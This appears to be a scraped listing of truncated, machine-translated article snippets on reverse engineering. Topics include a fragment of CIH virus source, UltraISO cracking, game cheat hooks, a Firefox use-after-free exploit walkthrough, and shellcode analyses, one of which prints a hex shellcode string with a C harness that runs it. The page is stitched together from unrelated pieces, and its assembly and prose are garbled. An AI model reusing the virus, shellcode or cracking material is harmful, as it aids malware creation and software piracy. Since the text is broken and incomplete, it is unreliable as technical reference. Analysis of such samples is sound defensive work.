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Virus program Source code example Anatomy-CIH virus [4]

push EAX; block table size push edx; edx is the offset of the Virus code block table push esi; buffer address    Combined virus code block and Virus code block table must be less than or equal to the amount of space not used Inc ECX push ecx; Save numberofsections+1    SHL ecx, 03h; multiply 8 push ecx; reserved virus block table space    Add ecx, eax add ecx, edx

Understand virtual functions from an assembly perspective!

EBX004011a7 push ESI004011a8 push EDI004011a9 Lea EDI, [ebp-64h]004011ac mov ECx, 19 h004011b1 mov eax, 0 cccccccch004011b6 rep STOs dword ptr [EDI]41: A Ca (1 );004011b8 Push 1004011ba Lea ECx, [ebp-8]004011bd call @ ILT + 95 (A: a) (00401064)42: B CB (2 );004011c2 push 2004011c4 Lea ECx, [ebp-10h]004011c7 call @ ILT + 10 (B: B) (0040100f)43: c cc (3 );004011cc Push 3004011ce Lea ECx, [ebp-18h]004011d1 call @ ILT + 105 (C: C) (0040366e)44:45: A * P [3] ={ ca, CB, CC };004011d6 Lea eax, [ebp-

The Openssl-0.9.8za of wireless tool transplant

too large:15 assumed X86cpuid-elf.s:13:error:bad instruction ' PUSHL%ebp ' X86cpuid-elf.s:14:error:bad instruction ' PUSHL%ebx ' X86cpuid-elf.s:15:error:bad instruction ' PUSHL%esi ' X86cpuid-elf.s:16:error:bad instruction ' PUSHL%edi ' X86cpuid-elf.s:18:error:bad instruction ' Xorl%edx,%edx ' X86cpuid-elf.s:19:error:bad instruction ' PUSHFL ' X86cpuid-elf.s:20:error:bad instruction ' popl%eax ' X86cpuid-e

Crack UltraISO v9.5.2

2.12-> Alexey Solodovnikov. It's a simple shell. I will not talk about it! Load OD after installation 00C0E001> 60 pushad 00C0E002 E8 03000000 call UltraISO.00C0E00A 00C0E007-E9 EB045D45 jmp 461DE4F7 00C0E00C 55 push ebp 00C0E00D C3 retn 00C0E00E E8 01000000 call UltraISO.00C0E014 00C0E013 EB 5D jmp short UltraISO.00C0E072 After shelling 00401620> $/EB 10 jmp short dumped.00401632 00401622. | 66: 623A bound di, dword ptr ds: [edx] 00401625. | 43 i

Modify the principles of money and wood on the Internet (you can modify the principle of money and wood over a LAN without dropping lines ),

is, the CALL address is game. dll + 473C50. The first address of the dll is used as the segment address for all 6F statements ). This CALL is called not only when the money and wood population changes, but even when the Organization is created or destroyed. All we need here is to HOOK the call to the change of money and wood. After all, other abnormal functions have already been written by our predecessors and there is no need to repeat the wheel. (If you are interested, you can analyze it your

VB from zero start of the supernumerary hanging (nine)

pull! --------------------------------------------------------------------------------------------------------------- ----------------------------------------- Analysis: Analysis is mainly to analyze the contents of RAM inside pull. You can go to "see the snow" to learn a simple assembler command. 004f3b9c/$ PUSH EBX 004f3b9d |. 83C4 F8 ADD esp,-8 004f3ba0 |. 8BDA MOV Ebx,edx; Data Destination address after decryption 004f3ba2 |. 8bd4 MOV

Analysis of Shellcode in a cracked program

= = Kernel32_image_nt_header004003a7 8B51 mov edx, DWORD ptr [ecx+0x78]; edx = = kernel32_export_table (offset) 004003AA 03d0add edx, eax; EDX = = Kernel32_exporttable_va Ibid positioning function, directly gives the result mov ecx,00400465004003ac eax004003ad E8 AE000 Call 00400460004003b2-pop ecx004003b3

Several Game-Assisted Analysis notes (1)

The annual "big project" for reinstallation of the system has been under construction. Sort out the tools and materials of last year. Today, we start to give our customers a bit of gameplay assistance. (The customer will not mind if it has been more than a year) Today is the first article. Analysis notes of long Xiang mi Chuan Blame Breakthrough: Ce searches for the change value and does not stop selecting the blame. Locate the following:Code: 00413b5e-89 be B0 00 00-mov [ESI +

Virus Trojan scan: Reverse Analysis of pandatv (I)

to perform shell check on the target program. Here I use PEiD v0.95, and the detection result is as follows:Figure 1 shell check for pandatvIt can be seen that this program is not shelled, so it does not involve shelling, and it is written by Borland Delphi 6.0-7.0. The Code Compiled by Delphi is different from the code written by VC ++. The two most obvious differences are as follows:1. When a function is called, parameters are not transferred completely using stacks, but mainly using register

In-depth understanding of computer systems (3.3)---data transfer (or replication) instructions

function of the MOV instruction is to copy the data from the source operand S to the target operand D, the MOV instruction has a data format and two operands, so the general form is [Movx s D]. where x is the data format, S is the source operand and D is the purpose operand.Here's a simple example, such as we have an instruction for MOVL%edx%eax. The execution process is as shown.As you can see, the contents of the%

Cast-128 encryption algorithm and mypassword cracking

called in several places, the identification of most library functions makes the code easier to understand and debug (the functions implemented by the function can be known without following up), but the disassembly takes a little longer. After the disassembly is complete, press f2 to break the breakpoint at 0x004f0b60, and press F9 to run the software. In the "register" dialog box, you will find that some characters have been entered in the "Serial Number" column. Leave it empty, enter 123456

Firefox memory release Reuse Vulnerability advanced exploitation (Pwn2Own2014, CVE-2014-1512)

" object 0x00CD5B02 add [this+14h], ecx 0x00CD5B05 call ds:__imp__free // free() function 0x00CD5B0B pop ecx 0x00CD5B0C 0x00CD5B0C loc_CD5B0C: 0x00CD5B0C cmp [this], edi 0x00CD5B0E jnz short loc_CD5AF5 Here, the object will be deleted; however, a reference to the released object will still be stored in the memory; this reference will be reused by firefox in several functions, as shown below: // In "js::GCMarker::processMarkStackTop()" / mozjs.dll [...] 0x00C07AC3 mov ecx

Making cross-platform Shellcode

_emit (0x72) _asm _emit (0x6c) _asm _em It (0x64) _asm _emit (0x21) _asm _emit (0x00) Tag_shellcode:call tag_next; Tag_next: Pop ebx; Get critical module Base address mov esi, DWORD ptr fs: [0x30]; mov esi, [esi + 0x0c]; mov esi, [esi + 0x1c]; mov esi, [esi]; mov edx, [esi + 0x08]; Gets the functio

Windows Remote Kernel Vulnerability Injection

arbitrarily switch the permission registration, this function will involve the overall Windows NT security model. Of course, this security model consists of multiple periods. Sometimes user-State jobs cannot be completed without the core-level functions, which is why native APIs are introduced. Native APIs are non-documented internal function sets and run in kernel mode. Native APIS exist to provide some ways to securely call kernel-mode services in user mode. A user application can ca

"Reverse chapter" Analysis a simple shellcode--from TEB to function address acquisition

\x61\x74\x61\x75\xf2\x81\x7e""\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c "" \x6f\x8b\x7a\x1c\ X01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74 "" \x65\x01\x68\x6b\x65\x6e\x42\x68\x40\x42\x72\x6f\x89\xe1\xfe " "\x49\x0b\x31\xc0\x51\x50\xff\xd7" ; int Main (int argc, char **ARGV) {int (*f) (); f = (int (*) ()) Shellcode; (int) (*f) (); After running, a window pops up:The first reaction is the use of the MessageBox, with WinDbg hang a bit, incredibly several versions of

Google pagerank checksum algorithm

It turns out that there have been checksum-related cracking on the internet. I will interview the checksum compilation code and the vb version for cracking.Currently, I am using the checksum code of vb.Assembly Code of checksum:GOOGLECHECK proc nearVar_8 = dword ptr-8Var_4 = dword ptr-4Url_offset = dword ptr 8Url_length = dword ptr 0ChMagic_dword = dword ptr 10 hPush ebpMov ebp, espPush ecxPush ecxMov eax, [ebp + url_length]Cmp eax, 0ChPush ebxPush esiMov esi, [ebp + magic_dword]; = 0xE6359A60Pu

Delphi Image Processing-Gaussian blur

: procedure CrossBlur(var Dest: TImageData; const Source: TImageData; Weights: Pointer; Size: Integer);var height, srcStride: Integer; _weights: Pointer; dstOffset, srcOffset: Integer; reds, greens, blues: Integer;asm push esi push edi push ebx mov _Weights, ecx mov ecx, [edx].TImageData.Stride mov srcStride, ecx call _SetCopyRegs mov height, edx m

X86 inline assembly in Linux

constraint also requires matching of two operands. Common constraints Only a small part of the available operand constraints are commonly used. The constraints and brief descriptions are listed below. For a complete list of operand constraints, see the GCC and GAS manuals. Register operand constraints (r) When this constraint is used to specify the operands, they are stored in General registers. See the following example: Asm ("movl % 32a, % 0 \ n": "= r" (cr3val )); Here, the variab

Shellcode in reverse MS06-038 sample

Microsoft Office Property Code Execution exploi Vulnerability No.: CVE-2006-2389. On September, sebug saw its sample, analyzed it, and wanted to write a new exploit tool for this vulnerability, now we will disassemble and explain the sample shellcode.0830674C fc cld // DF reset, that is, DF = 00830674D 33D2 xor edx and EDX are cleared0830674F B2 30 mov dl, 30 // dl = 3008306751 64: FF32 push dword ptr fs: [

This is a database analysis of Stanford University.

Broad Stepssetup a new AWS VPC (This step was optional, so don't have the to follow along if you don ' t want to).Stanford is running a entire AWS VPC devoted to analytics, which hosts: The analytics report, API application, and dashboard application databases, The Elasticmapreduce cluster, The Task Scheduler (which we use Jenkins for), The API servers, and The dashboard app servers. Our data VPC also have a peering connection to our prod VPC, so that the EMR cluste

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